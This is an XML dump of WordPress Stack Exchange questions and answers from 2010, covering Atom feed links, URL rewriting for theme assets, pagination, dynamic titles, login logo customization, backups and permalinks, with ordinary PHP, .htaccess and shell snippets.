  <row Id="1592" PostTypeId="1" CreationDate="2010-09-09T20:19:22.393" Score="1" ViewCount="158" Body="&lt;p&gt;I've just install Wordpress 3, and I can't figure out how to put an atom link in the sidebar, under (or otherwise near) the RSS links.  I looked at sidebar.php, but it simply references a meta 'widget', and I can't figure out how to modify or configure this widget (or any widget for that matter).  Can somebody guide me as to how to enable atom feeds?&lt;/p&gt;&#xA;" OwnerUserId="837" LastActivityDate="2010-09-09T21:19:44.173" Title="How did I enable atom feeds in a fresh WP3 install?" Tags="&lt;3.0&gt;&lt;widgets&gt;&lt;feed&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="1593" PostTypeId="2" ParentId="1542" CreationDate="2010-09-09T20:56:30.623" Score="1" ViewCount="" Body="&lt;p&gt;You could use the WordPress function get_children. Although I don't think it makes a difference, performance-wise.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php while (have_posts()) : the_post(); ?&amp;gt;&#xA;    &amp;lt;?php $attachment = array_values( get_children( array( 'post_parent' =&amp;gt; $post-&amp;gt;ID, 'post_type' =&amp;gt; 'attachment', 'post_mime_type' =&amp;gt; 'image', 'order' =&amp;gt; 'ASC', 'numberposts'  =&amp;gt; 1 ) ) ); ?&amp;gt;&#xA;    &amp;lt;div class=&quot;searchItem&quot; style=&quot;clear:both;&quot;&amp;gt;&#xA;        &amp;lt;h3 id=&quot;post-&amp;lt;?php the_ID(); ?&amp;gt;&quot;&amp;gt;&#xA;        &amp;lt;?php if( $attachment ) echo '&amp;lt;img src=&quot;' . wp_get_attachment_url($attachment[0]-&amp;gt;ID) . '&quot; class=&quot;post-attachment&quot; /&amp;gt;'; ?&amp;gt;&#xA;        &amp;lt;a href=&quot;&amp;lt;?php the_permalink() ?&amp;gt;&quot; rel=&quot;bookmark&quot; title=&quot;Permanent Link to &amp;lt;?php the_title_attribute(); ?&amp;gt;&quot;&amp;gt;&amp;lt;?php the_title(); ?&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/h3&amp;gt;&#xA;        &amp;lt;small&amp;gt;&amp;lt;?php the_time('l, F jS, Y') ?&amp;gt;&amp;lt;/small&amp;gt;&#xA;        &amp;lt;div class=&quot;excerpt&quot;&amp;gt;&amp;lt;?php echo $post-&amp;gt;post_excerpt; ?&amp;gt;&amp;lt;/div&amp;gt;&#xA;        &amp;lt;div class=&quot;postmetadata&quot;&amp;gt;Posted in &amp;lt;?php the_category(', ') ?&amp;gt; | &amp;lt;?php comments_popup_link('No Comments &amp;amp;#187;', '1 Comment &amp;amp;#187;', '% Comments &amp;amp;#187;'); ?&amp;gt;&amp;lt;/div&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&amp;lt;?php endwhile; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="473" LastActivityDate="2010-09-09T20:56:30.623" />
  <row Id="1594" PostTypeId="2" ParentId="1592" CreationDate="2010-09-09T21:19:44.173" Score="2" ViewCount="" Body="&lt;p&gt;You can use the wp_meta hook:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function extend_meta() {&#xA;    echo '&amp;lt;li&amp;gt;&amp;lt;a href=&quot;' . get_bloginfo('atom_url') . '&quot; title=&quot;' . esc_attr( __( 'Syndicate this site using Atom' ) ) . '&quot;&amp;gt;' . __('Entries Atom Feed') . '&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;';&#xA;}&#xA;&#xA;add_action( 'wp_meta', 'extend_meta' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="473" LastActivityDate="2010-09-09T21:19:44.173" CommentCount="1" />
  <row Id="1595" PostTypeId="1" CreationDate="2010-09-09T21:23:01.977" Score="0" ViewCount="451" Body="&lt;p&gt;I know how to upload multiple images into an existing post, but this is a different scenario. This is for a large catalog of assets, with each custom post-type post representing an image asset (thus a single image is assigned as the &quot;featured image&quot; for each post).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The whole system works great for one-at-a-time asset creation, but far too time-consuming. I need to be able to &quot;batch&quot; upload multiple images at once, then have a new post created for each image, then attach the image to the new post as the &quot;featured image&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There will be no text content entered for each post - just some metadata and custom taxonomy assignments, so it should be possible to batch-assign the metadata and taxonomy during this batch creation process.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've researched solutions from XML-RPC post creation (which doesn't usually handle image upload/assignment) to plugins that pull files from a server directory to the media library (which doesn't cover post creation), and jquery multiple file uploaders (that basically just dump files in a directory).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am relatively versed in php, having built plugins and themes, but I'm stumped at how to handle this process, as it requires the first step of getting the files to the server in some temporary capacity, then generating posts based on the files uploaded, and assigning some identifying metadata to the whole batch.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm hoping this can be done in a custom admin panel, but if I have to do this outside of wp-admin, that's fine too...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ideas?&lt;/p&gt;&#xA;" OwnerUserId="838" LastActivityDate="2010-09-14T17:39:20.477" Title="How can I bulk upload images and automatically create posts for each one at the same time?" Tags="&lt;custom-post-types&gt;&lt;bulk-import&gt;&lt;uploads&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="1596" PostTypeId="1" AcceptedAnswerId="1598" CreationDate="2010-09-09T21:40:19.900" Score="1" ViewCount="926" Body="&lt;p&gt;Does anyone happen to know how I can automatically turn:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.domain-name.com/wp-content/themes/theme-name/css/stylesheeet.css&quot; rel=&quot;nofollow&quot;&gt;http://www.domain-name.com/wp-content/themes/theme-name/css/stylesheeet.css&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;into&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.domain-name.com/css/stylesheet.css&quot; rel=&quot;nofollow&quot;&gt;http://www.domain-name.com/css/stylesheet.css&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Naturally I could just create the applicable folder within the root of the website, place the files there and just reference them but that is now what I am after.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am looking for a way to keep all css &amp;amp; javascript files within the theme folder but I would like for wordpress to show the above outlined url path if you view the source of the page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In an ideal situation I am looking for a piece of code which can be added that automatically does this for all files referenced within my theme folder including any images.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you in advance&lt;/p&gt;&#xA;" OwnerUserId="479" LastActivityDate="2010-09-10T17:40:49.530" Title="Changing the visible url path to css &amp; js files" Tags="&lt;themes&gt;&lt;theme-development&gt;&lt;url-rewriting&gt;&lt;references&gt;" AnswerCount="2" FavoriteCount="3" />
  <row Id="1597" PostTypeId="1" AcceptedAnswerId="1819" CreationDate="2010-09-09T22:02:03.653" Score="2" ViewCount="506" Body="&lt;p&gt;I am having a strange issue with the built in wordpress image editor. I have no problem uploading files or preforming any other media functions. The only thing I seem to be unable to do is utilize the image &quot;edit&quot; capabilities (the area where you can crop, resize, rotate...)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I click on &quot;edit&quot; for an image I see the editor and I see the thumbnail on the right, wordpress just won't show me the actual image in the main area and thus I can't utilizing any of the editing capabilities.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am assuming this must be some type of JavaScript conflict however I not sure the best way to diagnose this other than what I have already done (disabling all plugins and ensuring no functions.php file is modifying a setting or including other javascript).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I diagnose this issue to see what might be going wrong?&lt;/p&gt;&#xA;" OwnerUserId="479" LastActivityDate="2011-04-21T10:28:21.430" Title="Wordpress Image Editor not working - conflict?" Tags="&lt;images&gt;&lt;media&gt;&lt;editor&gt;&lt;image&gt;" AnswerCount="1" CommentCount="3" FavoriteCount="2" />
  <row Id="1598" PostTypeId="2" ParentId="1596" CreationDate="2010-09-09T22:58:58.540" Score="2" ViewCount="" Body="&lt;p&gt;Offhand I think you'd need two things:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First, a rewrite rule in your .htaccess file like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteEngine On&#xA;RewriteBase /&#xA;RewriteRule ^css/(.*) /wp-content/themes/theme-name/css/$1 [L]&#xA;RewriteRule ^js/(.*) /wp-content/themes/theme-name/js/$1 [L]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Second, add a filter to your theme's functions.php like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function change_css_js_url($content) {&#xA;    $current_path = '/wp-content/themes/theme-name/';&#xA;    $new_path = '/'; // No need to add /css or /js here since you're mapping the subdirectories 1-to-1&#xA;    $content = str_replace($current_path, $new_path, $content);&#xA;    return $content;&#xA;}&#xA;add_filter('bloginfo_url', 'change_css_js_url');&#xA;add_filter('bloginfo', 'change_css_js_url');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;A couple caveats: &#xA;- if a plugin or something doesn't use bloginfo() or get_bloginfo() it will not trigger the filter.  You can get around this by hooking your function into other filters as needed. &#xA;- some plugins/themes/etc use a hard-coded paths.  There's not much you can do about this except modify the code to use one of WP's functions to get the path.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the same example using the twentyten theme (no css/js subdirectories, but the idea is the same.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;.htaccess&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# BEGIN WordPress&#xA;&amp;lt;IfModule mod_rewrite.c&amp;gt;&#xA;RewriteEngine On&#xA;RewriteBase /&#xA;RewriteRule ^twentyten/(.*) /wp-content/themes/twentyten/$1 [L]&#xA;RewriteRule ^index\.php$ - [L]&#xA;RewriteCond %{REQUEST_FILENAME} !-f&#xA;RewriteCond %{REQUEST_FILENAME} !-d&#xA;RewriteRule . /index.php [L]&#xA;&amp;lt;/IfModule&amp;gt;&#xA;# END WordPress&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;functions.php&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function change_css_js_url($content) {&#xA;    $current_path = '/wp-content/themes/';&#xA;    $new_path = '/'; // No need to add /css or /js here since you're mapping the subdirectories 1-to-1&#xA;    $content = str_replace($current_path, $new_path, $content);&#xA;    return $content;&#xA;}&#xA;add_filter('bloginfo_url', 'change_css_js_url');&#xA;add_filter('bloginfo', 'change_css_js_url');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="839" LastEditorUserId="839" LastEditorDisplayName="" LastEditDate="2010-09-10T17:40:49.530" LastActivityDate="2010-09-10T17:40:49.530" CommentCount="7" />
  <row Id="1599" PostTypeId="2" ParentId="1578" CreationDate="2010-09-09T23:08:12.717" Score="0" ViewCount="" Body="&lt;p&gt;Also check out &lt;a href=&quot;http://unbounce.com/&quot; rel=&quot;nofollow&quot;&gt;http://unbounce.com/&lt;/a&gt; it's pretty cool and easy to use&lt;/p&gt;&#xA;" OwnerUserId="839" LastActivityDate="2010-09-09T23:08:12.717" CommentCount="2" />
  <row Id="1600" PostTypeId="2" ParentId="1596" CreationDate="2010-09-09T23:32:00.640" Score="2" ViewCount="" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;In an ideal situation I am looking for a piece of code which can be added that automatically &gt;does this for all files referenced within my theme folder including any images.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I am going to propose an alternate solution that will solve the problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Create a symbolic link from wp-content/themes/your-theme to your root directory/css&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To create a symbolic link in Linux use the &lt;code&gt;#ln -s&lt;/code&gt; command.  For example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#ln -s /home/user-name/public_html/wp-content/themes/your_theme_name /home/user-name/public_html/css&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now any file in &lt;a href=&quot;http://example.com/wp-content/themes/your_theme_name/&quot; rel=&quot;nofollow&quot;&gt;http://example.com/wp-content/themes/your_theme_name/&lt;/a&gt; can be accessed using the url:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://example.com/css/&quot; rel=&quot;nofollow&quot;&gt;http://example.com/css/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In order for this to work you have to allow the FollowSymLinks directive in your httpd.conf file.  You can also put it in an .htaccess file that will override the setting in httpd.conf&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In httpd.conf the setting would be:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;Directory /&amp;gt;&#xA;Options Indexes FollowSymLinks&#xA;&amp;lt;/Directory&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Before the change will take affect you will have to restart Apache:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#/etc/init.d/apache2 restart&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can read more about SymLinks at &lt;a href=&quot;http://www.maxi-pedia.com/FollowSymLinks&quot; rel=&quot;nofollow&quot;&gt;Maxi-Pedia&lt;/a&gt; and in the &lt;a href=&quot;http://httpd.apache.org/docs/2.2/mod/core.html&quot; rel=&quot;nofollow&quot;&gt;Apache Docs&lt;/a&gt; &lt;/p&gt;&#xA;" OwnerUserId="251" LastEditorUserId="251" LastEditorDisplayName="" LastEditDate="2010-09-09T23:37:47.163" LastActivityDate="2010-09-09T23:37:47.163" CommentCount="3" />
  <row Id="1601" PostTypeId="2" ParentId="1567" CreationDate="2010-09-10T00:04:37.567" Score="4" ViewCount="" Body="&lt;h2&gt;Enable Numeric Pagination&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;&lt;strong&gt;Tested on:&lt;/em&gt;&lt;/strong&gt; &lt;em&gt;Wordpress 3.0.1&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/* Numeric Pagination ********************************************/&#xA;&#xA;function numeric_pagination ($pageCount = 9, $query = null) {&#xA;&#xA; if ($query == null) {&#xA;  global $wp_query;&#xA;  $query = $wp_query;&#xA; }&#xA;&#xA; if ($query-&amp;gt;max_num_pages &amp;lt;= 1) {&#xA;  return;&#xA; }&#xA;&#xA; $pageStart = 1;&#xA; $paged = $query-&amp;gt;query_vars['paged'];&#xA;&#xA; // set current page if on the first page&#xA; if ($paged == null) {&#xA;  $paged = 1;&#xA; }&#xA;&#xA; // work out if page start is halfway through the current visible pages and if so move it accordingly&#xA; if ($paged &amp;gt; floor($pageCount / 2)) {&#xA;  $pageStart = $paged - floor($pageCount / 2);&#xA; }&#xA;&#xA; if ($pageStart &amp;lt; 1) {&#xA;  $pageStart = 1;&#xA; }&#xA;&#xA; // make sure page start is&#xA; if ($pageStart + $pageCount &amp;gt; $query-&amp;gt;max_num_pages) {&#xA;  $pageCount = $query-&amp;gt;max_num_pages - $pageStart;&#xA; }&#xA;&#xA;?&amp;gt;&#xA; &amp;lt;div id=&quot;archive_pagination&quot;&amp;gt;&#xA;&amp;lt;?php&#xA; if ($paged != 1) {&#xA;?&amp;gt;&#xA; &amp;lt;a href=&quot;&amp;lt;?php echo get_pagenum_link(1); ?&amp;gt;&quot; class=&quot;numbered page-number-first&quot;&amp;gt;&amp;lt;span&amp;gt;&amp;amp;lsaquo; &amp;lt;?php _e('&amp;lt;&amp;lt; First', 'global'); ?&amp;gt;&amp;lt;/span&amp;gt;&amp;lt;/a&amp;gt;&#xA;&amp;lt;?php&#xA; }&#xA; // first page is not visible...&#xA; if ($pageStart &amp;gt; 1) {&#xA;  //echo 'previous';&#xA; }&#xA; for ($p = $pageStart; $p &amp;lt;= $pageStart + $pageCount; $p ++) {&#xA;  if ($p == $paged) {&#xA;?&amp;gt;&#xA;  &amp;lt;span class=&quot;numbered page-number-&amp;lt;?php echo $p; ?&amp;gt; current-numeric-page&quot;&amp;gt;&amp;lt;?php echo $p; ?&amp;gt;&amp;lt;/span&amp;gt;&#xA;&amp;lt;?php } else { ?&amp;gt;&#xA;  &amp;lt;a href=&quot;&amp;lt;?php echo get_pagenum_link($p); ?&amp;gt;&quot; class=&quot;numbered page-number-&amp;lt;?php echo $p; ?&amp;gt;&quot;&amp;gt;&amp;lt;span&amp;gt;&amp;lt;?php echo $p; ?&amp;gt;&amp;lt;/span&amp;gt;&amp;lt;/a&amp;gt;&#xA;&#xA;&amp;lt;?php&#xA;  }&#xA; }&#xA; // last page is not visible&#xA; if ($pageStart + $pageCount &amp;lt; $query-&amp;gt;max_num_pages) {&#xA;  //echo &quot;last&quot;;&#xA; }&#xA; if ($paged != $query-&amp;gt;max_num_pages) {&#xA;?&amp;gt;&#xA;  &amp;lt;a href=&quot;&amp;lt;?php echo get_pagenum_link($query-&amp;gt;max_num_pages); ?&amp;gt;&quot; class=&quot;numbered page-number-last&quot;&amp;gt;&amp;lt;span&amp;gt;&amp;lt;?php _e('&amp;gt;&amp;gt; Last', 'global'); ?&amp;gt; &amp;amp;rsaquo;&amp;lt;/span&amp;gt;&amp;lt;/a&amp;gt;&#xA;&amp;lt;?php } ?&amp;gt;&#xA;&#xA; &amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="251" LastEditorUserId="479" LastEditorDisplayName="" LastEditDate="2011-01-26T14:35:16.490" LastActivityDate="2011-01-26T14:35:16.490" CommunityOwnedDate="2010-09-10T00:04:37.567" CommentCount="1" />
  <row Id="1602" PostTypeId="2" ParentId="1552" CreationDate="2010-09-10T00:46:41.693" Score="0" ViewCount="" Body="&lt;p&gt;I've used qTranslate before to great success.  Highly recommend it, it was easier to set up and maintain than any others in my opinion.&lt;/p&gt;&#xA;" OwnerUserId="839" LastActivityDate="2010-09-10T00:46:41.693" />
  <row Id="1603" PostTypeId="2" ParentId="1567" CreationDate="2010-09-10T00:49:55.630" Score="9" ViewCount="" Body="&lt;h2&gt;Automatically Add Dynamic Titles to Public Pages&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;&lt;strong&gt;Tested on:&lt;/em&gt;&lt;/strong&gt; &lt;em&gt;Wordpress 3.0.1&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Utilizing the code below will automatically create dynamic page titles based upon the pages/posts being viewed publicly.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/* Dynamic Titles **/&#xA;// This sets your &amp;lt;title&amp;gt; depending on what page you're on, for better formatting and for SEO&#xA;// You need to set the variable $longd to some custom text at the beginning of the function&#xA;function dynamictitles() {&#xA;$longd = __('Enter your longdescription here.', 'texdomainstring');&#xA;    if ( is_single() ) {&#xA;      wp_title('');&#xA;      echo ' | '.get_bloginfo('name');&#xA;&#xA;} else if ( is_page() || is_paged() ) {&#xA;      bloginfo('name');&#xA;      wp_title('|');&#xA;&#xA;} else if ( is_author() ) {&#xA;      bloginfo('name');&#xA;      wp_title(' | '.__('Author', 'texdomainstring'));&#xA;&#xA;} else if ( is_category() ) {&#xA;      bloginfo('name');&#xA;      wp_title(' | '.__('Archive for', 'texdomainstring'));&#xA;&#xA;} else if ( is_tag() ) {&#xA;      echo get_bloginfo('name').' | '.__('Tag archive for', 'texdomainstring');&#xA;      wp_title('');&#xA;&#xA;} else if ( is_archive() ) {&#xA;      echo get_bloginfo('name').' | '.__('Archive for', 'texdomainstring');&#xA;      wp_title('');&#xA;&#xA;} else if ( is_search() ) {&#xA;      echo get_bloginfo('name').' | '.__('Search Results', 'texdomainstring');&#xA;} else if ( is_404() ) {&#xA;      echo get_bloginfo('name').' | '.__('404 Error (Page Not Found)', 'texdomainstring');&#xA;&#xA;} else if ( is_home() ) {&#xA;      echo get_bloginfo('name').' | '.get_bloginfo('description');&#xA;&#xA;} else {&#xA;      echo get_bloginfo('name').' | '.($blog_longd);&#xA;}&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="251" LastEditorUserId="385" LastEditorDisplayName="" LastEditDate="2011-03-01T16:52:44.927" LastActivityDate="2011-03-01T16:52:44.927" CommunityOwnedDate="2010-09-10T00:49:55.630" />
  <row Id="1604" PostTypeId="1" AcceptedAnswerId="1618" CreationDate="2010-09-10T02:31:00.320" Score="7" ViewCount="1699" Body="&lt;p&gt;I want to connect &lt;code&gt;wpdb&lt;/code&gt; to another database. How do I create the instance and pass it the database name/username/password?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="442" LastEditorUserId="442" LastEditorDisplayName="" LastEditDate="2010-09-10T16:32:37.063" LastActivityDate="2011-04-22T19:13:59.403" Title="Using wpdb to connect to a separate database" Tags="&lt;database&gt;&lt;wpdb&gt;&lt;mysql&gt;" AnswerCount="6" CommentCount="4" FavoriteCount="1" />
  <row Id="1605" PostTypeId="1" CreationDate="2010-09-10T04:50:14.430" Score="1" ViewCount="235" Body="&lt;p&gt;Lately I've been using &lt;a href=&quot;http://magicfields.org/&quot; rel=&quot;nofollow&quot;&gt;Magic Fields&lt;/a&gt; quite alot.&#xA;One of it's great advantages is the ability to duplicate a group - i.e. give the post/page author the ability do create multiple &quot;meta-boxes&quot; at will.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would really like to switch to using wordpress native custom fields. Is there any way to achieve this &quot;duplication&quot; feature without the plugin ?&lt;/p&gt;&#xA;" OwnerUserId="395" LastActivityDate="2010-09-10T09:25:08.013" Title="How to duplicate fields in custom post types?" Tags="&lt;custom-post-types&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="1606" PostTypeId="2" ParentId="1567" CreationDate="2010-09-10T06:26:37.893" Score="10" ViewCount="" Body="&lt;h2&gt;Auto Extract the First Image from the Post Content&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;&lt;strong&gt;Tested on:&lt;/em&gt;&lt;/strong&gt; &lt;em&gt;Wordpress 3.0.1&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This code will automatically extract the first image associated with a post and allow you to display/use it by calling the getImage function.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// AUTOMATICALLY EXTRACT THE FIRST IMAGE FROM THE POST &#xA;function getImage($num) {&#xA;    global $more;&#xA;    $more = 1;&#xA;    $link = get_permalink();&#xA;    $content = get_the_content();&#xA;    $count = substr_count($content, '&amp;lt;img');&#xA;    $start = 0;&#xA;    for($i=1;$i&amp;lt;=$count;$i++) {&#xA;        $imgBeg = strpos($content, '&amp;lt;img', $start);&#xA;        $post = substr($content, $imgBeg);&#xA;        $imgEnd = strpos($post, '&amp;gt;');&#xA;        $postOutput = substr($post, 0, $imgEnd+1);&#xA;        $postOutput = preg_replace('/width=&quot;([0-9]*)&quot; height=&quot;([0-9]*)&quot;/', '',$postOutput);;&#xA;        $image[$i] = $postOutput;&#xA;        $start=$imgEnd+1;&#xA;    }&#xA;    if(stristr($image[$num],'&amp;lt;img')) { echo '&amp;lt;a href=&quot;'.$link.'&quot;&amp;gt;'.$image[$num].&quot;&amp;lt;/a&amp;gt;&quot;; }&#xA;    $more = 0;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="479" LastEditorUserId="479" LastEditorDisplayName="" LastEditDate="2011-01-26T14:34:10.377" LastActivityDate="2011-01-26T14:34:10.377" CommunityOwnedDate="2010-09-10T06:26:37.893" CommentCount="5" />
  <row Id="1607" PostTypeId="1" AcceptedAnswerId="1631" CreationDate="2010-09-10T07:25:25.180" Score="4" ViewCount="189" Body="&lt;p&gt;I want to backup my WP flies but the FTP is really slow.  Is there a better solution ? (assume CRON and SSH in a managed VPS)&lt;/p&gt;&#xA;" OwnerUserId="161" LastActivityDate="2010-09-10T19:27:39.447" Title="What is a better way to backup files then FTP?" Tags="&lt;backup&gt;" AnswerCount="3" CommentCount="2" FavoriteCount="2" />
  <row Id="1609" PostTypeId="2" ParentId="1607" CreationDate="2010-09-10T08:47:20.060" Score="1" ViewCount="" Body="&lt;p&gt;As you probably know, there could be a number of reasons your FTP connection is slow. For the purpose of answering this question I am going to assume that you either have a huge amount of files, or either you or your web host has a very slow internet connection.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Personally, when I am dealing with a large number of files I tend to compress the files (tar/zip) and then initiate the transfer. It however could be that your web host has restricted this capability in which case you most likely have a web based control panel provided by your web host. In the majority of cases I have found these control panels allow you to initiate a backup and download this compressed file which hopefully you can extract and use. It's also possible (yet less likely) that you can upload and uncompress an archive file this way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The is the only broad suggestion I can provide you given the information available.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If your question was aimed as finding a solution for continuous/routine backups I would suggest exploring rsync (incremental backups) which we utilize on 20 servers. If you are not familiar with rsync or it seems to much to involve yourself with at this time I can highly recommend jungledisk (the server edition) which essentially preforms the same thing and backs up all data to the cloud. Both of these tools however most likely require you to have root access to your VPS.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For more basic routine backup solutions I would search on wordpress.org as I remember seeing some plugins in there including ones that autobackup mysql.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Good luck :-)&lt;/p&gt;&#xA;" OwnerUserId="479" LastActivityDate="2010-09-10T08:47:20.060" />
  <row Id="1610" PostTypeId="2" ParentId="1567" CreationDate="2010-09-10T09:01:29.147" Score="23" ViewCount="" Body="&lt;h2&gt;Modify the Login Logo &amp;amp; Image URL Link&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;&lt;strong&gt;Tested on:&lt;/em&gt;&lt;/strong&gt; &lt;em&gt;Wordpress 3.0.1&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This code will allow you to easily modify the Wordpress Login page Logo as well as the href link and alt text of this logo.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// CUSTOM ADMIN LOGIN HEADER LOGO&#xA;   function my_custom_login_logo() {&#xA;    echo '&amp;lt;style type=&quot;text/css&quot;&amp;gt; h1 a { background-image:url('.get_bloginfo('template_directory').'/images/your-logo-image.png) !important; } &amp;lt;/style&amp;gt;';&#xA;   }&#xA;   add_action('login_head', 'my_custom_login_logo');&#xA;&#xA;&#xA;// CUSTOM ADMIN LOGIN HEADER LINK &amp;amp; ALT TEXT&#xA;   function change_wp_login_url() {&#xA;    echo bloginfo('url');  // OR ECHO YOUR OWN URL&#xA;   }&#xA;   function change_wp_login_title() {&#xA;    echo get_option('blogname'); // OR ECHO YOUR OWN ALT TEXT&#xA;   }&#xA;   add_filter('login_headerurl', 'change_wp_login_url');&#xA;   add_filter('login_headertitle', 'change_wp_login_title');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="479" LastEditorUserId="479" LastEditorDisplayName="" LastEditDate="2011-01-26T14:36:28.080" LastActivityDate="2011-01-26T14:36:28.080" CommunityOwnedDate="2010-09-10T09:01:29.147" />
  <row Id="1611" PostTypeId="1" AcceptedAnswerId="1612" CreationDate="2010-09-10T09:15:38.400" Score="3" ViewCount="221" Body="&lt;p&gt;I'm aware that there are posts discussing this issue already (e.g. &lt;a href=&quot;http://wordpress.stackexchange.com/questions/1364/what-is-the-best-permalink-structure-for-seo&quot;&gt;http://wordpress.stackexchange.com/questions/1364/what-is-the-best-permalink-structure-for-seo&lt;/a&gt;) but I have a specific set of requirements according to my wordpress site structure, namely:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;6 pages&lt;/li&gt;&#xA;&lt;li&gt;A small number of posts (~ 3 at launch, maybe 1 new one per month)&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I'd like to include the post name in the URL (for both SEO and easier stats analysis), but I've seen references to 'problems' arising from using &lt;em&gt;just&lt;/em&gt; the post name.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Would this be the case, even on such a small site?&lt;/li&gt;&#xA;&lt;li&gt;Would &lt;code&gt;/%post_id%/%$postname%/&lt;/code&gt; be a 'better' alternative? I notice that, even with this configuration, the Pages don't use the post_id in their URL.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="119" LastActivityDate="2010-09-11T19:19:12.683" Title="Minimal custom permalink structure" Tags="&lt;permalinks&gt;&lt;seo&gt;" AnswerCount="2" FavoriteCount="1" />
